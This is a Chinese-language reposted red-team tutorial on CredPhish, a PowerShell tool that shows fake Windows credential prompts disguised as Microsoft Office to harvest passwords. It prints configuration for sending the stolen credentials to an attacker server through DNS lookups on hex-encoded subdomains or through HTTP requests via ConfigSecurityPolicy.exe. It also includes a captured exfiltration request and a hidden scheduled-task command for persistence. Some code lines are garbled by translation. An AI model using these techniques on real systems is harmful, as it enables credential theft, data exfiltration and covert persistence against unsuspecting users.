如何使用 PowerShell 钓鱼获取用户密码

2021年7月30日 415点热度 0人点赞 0条评论


图片

文章来源:Khan安全攻防实验室

图片


        欺骗凭证提示是一种有效的权限提升和横向移动技术。在 Windows 环境中遇到 Outlook、VPN 和各种其他身份验证协议看似随机的密码提示并不罕见。攻击者将滥用 Windows 和 PowerShell 中内置的功能来调用凭据弹出窗口来获取用户密码。 


根据MITRE ATT&CK 框架的定义 : 


        “当执行需要额外权限的程序时……操作系统通常会提示用户提供正确的凭据以授权任务的提升权限。攻击者可能会模仿常见的操作系统组件,通过看似合法的提示来提示用户输入凭据……通过 PowerShell 等语言。” 


什么是 CredPhish? 

        CredPhish 是一个 PowerShell 脚本,旨在调用凭据提示和泄露密码。它依靠CredentialPicker  API 来收集用户密码,依靠 PowerShell 的 Resolve-DnsName 进行 DNS渗漏,并依靠Windows Defender的 ConfigSecurityPolicy.exe 来执行任意 GET 请求。 


        下面是 CredPhish 的一个例子。请注意凭据在 Windows 安全提示中提交后立即传送到攻击者的 DNS 服务器。 


图片


        默认情况下,CredPhish 将使用 Resolve-DnsName(PowerShell 内置的 DNS 解析器)来窃取凭据。它将凭据中的每个字符转换为其各自的十六进制值,将转换后的值分解为预定义的块,并将这些块放入流行网站的子域中。以下屏幕截图是十六进制形式的泄露凭据示例。请注意 google.com 和 office.com 子域中“tokyoneon”(746f6b796f6e656f6e) 的十六进制值。 

图片


        在解析 DNS 查询之前,DNS 服务器将剥离十六进制子域以避免创建数十个错误响应。在下面的 Wireshark 屏幕截图中,请注意“Answers”字段不再包含子域并成功解析为 Google 的 IP 地址之一。 

图片


CredPhish.ps1 配置 

        我将credphish.ps1设计  为一个独立的脚本,不需要 Import-Module,这是一个常见的妥协指标。可配置选项以变量的形式位于 PS1 脚本的顶部,以避免冗长的命令行参数。 

        第一行是最重要的,因为它定义了泄露数据的交付位置(即攻击者的 Kali 服务器)。 

# exfil 地址  
$exfilServer 
= "192.168.56.112" 

        接下来,几个变量定义了提示将如何呈现给毫无戒心的目标用户。在 $promptCaption 定义了“应用程序”请求用户证书(例如,“微软办公室”)。并且 $promptMessage 通常指定与请求关联的帐户。 

# prompt 
$targetUser = $ env : username
$companyEmail = " blackhillsinfosec.com "
$promptCaption = " Microsoft Office "
$promptMessage = " Connecting to: $targetUser @ $companyEmail "
$maxTries = 1 # 调用提示的最大次数
$ delayPrompts = 2 # 提示之间的秒数
$validateCredentials = $ false # 如果凭据有效,则中断 $maxTries 并立即删除

        该 $maxTries 变量定义了在目标提交凭据之前提示出现的次数。为避免怀疑, 1 是默认值。该 $delayPrompts 变量定义了每个提示之间的秒数(如果 $maxTries 大于 1)。并且 $validateCredentials,默认情况下禁用,将尝试Start-Process 在提升的上下文中使用本地验证提交的凭据 如果启用并验证凭据, $maxTries 则会被忽略,并且数据会立即发送到攻击者的服务器。 


过滤方法 

        如前所述,DNS 外泄是将密码传送到攻击者服务器的默认方法。                        $exfilDomains 列表包括用于 DNS 查询并随机选择的各种域。该                            $subdomainLength 变量决定了每个子域的所需长度。 

#域名解析
# 在kali中启动dns服务器:python3 /path/to/credphish/dns_server.py

$ enableDnsExfil = $真
$ exfilDomains = @' .microsoft.com ' ' .google.com ' ' .office.com ' ' .live.com '的DNS exfil#域
$ randomDelay = GET随机 -最小5 -最大20 # dns 查询之间的延迟
$subdomainLength = 6 # 子域中的最大字符数。必须是 2-60 之间的偶数,否则查询会中断

        要拦截使用 DNS 过滤功能发送的凭据,请 在 Kali 中执行 dns_server.py脚本。按 Ctrl + c 终止 DNS 服务器,它将以明文形式重建拦截的凭据。 


图片



         CredPhish 中内置的另一种渗漏方法是 HTTP 请求方法。它利用Windows Defender 中包含的二进制文件“ ConfigSecurityPolicy.exe ”向攻击者的服务器提供凭据。将 $enableHttpExfil 变量设置 $true 为启用它。 

# http 
# 在 kali 中启动 http 服务器:python3 -m http.server 80

$enableHttpExfil = $false
$ConfigSecurityPolicy = " C:\Prog*Files\Win*Defender\ConfigSecurityPolicy.exe "


        要拦截使用 发送的凭据 ConfigSecurityPolicy.exe,请在 Kali 中启动一个简单的 HTTP 服务器以在日志中捕获它们。 


图片



在网络上,泄露的凭据将显示如下:

GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1  
Accept: */* 
UA-CPU: AMD64 
Accept-Encoding: gzip, deflate 
User-Agent: Mozilla /4.0(兼容;MSIE 7.0;Windows NT 10.0;Win64;x64;Trident/7.0;.NET4.0C;.NET4.0E) 
主机:192.168.56.104
连接:Keep-Alive
 

        由于凭证在传输前经过 URL 编码,因此使用 Burp 的解码器模块观察数据或使用 Python 的 urllib 库通过命令行进行 URL 解码。 


图片


>>>  from  urllib.parse  import unquote  
>>> unquote ("/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D")  '/DESKTOP-S4DAAF0[tokyoneon:# !Extr3m3Ly_& ecuRe-P@ssw %rD#]' 
 



CredPhish.ps1 执行 

        要快速测试 CredPhish,请将 移动 credphish.ps1 到目标 Windows 10 计算机并使用 PowerShell 执行它。 

图片


        一种持久的执行方法可能涉及 Task Schedtokyoneon //uler,它是 Windows 的一个组件,它提供了以预定义的时间间隔安排脚本执行的能力。下面的 schtasks 示例将credphish.ps1 每 2 分钟执行 一次。 

schtasks /create /sc minute /mo 2 /tn "credphish" /tr "powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1" 

图片


推荐文章++++

图片

*我的powershell免杀之路

*神兵利器 - Invisi-Shell 绕过所有Powershell安全功能

*红队PowerShell脚本

图片

图片

83760如何使用 PowerShell 钓鱼获取用户密码

这个人很懒,什么都没留下

文章评论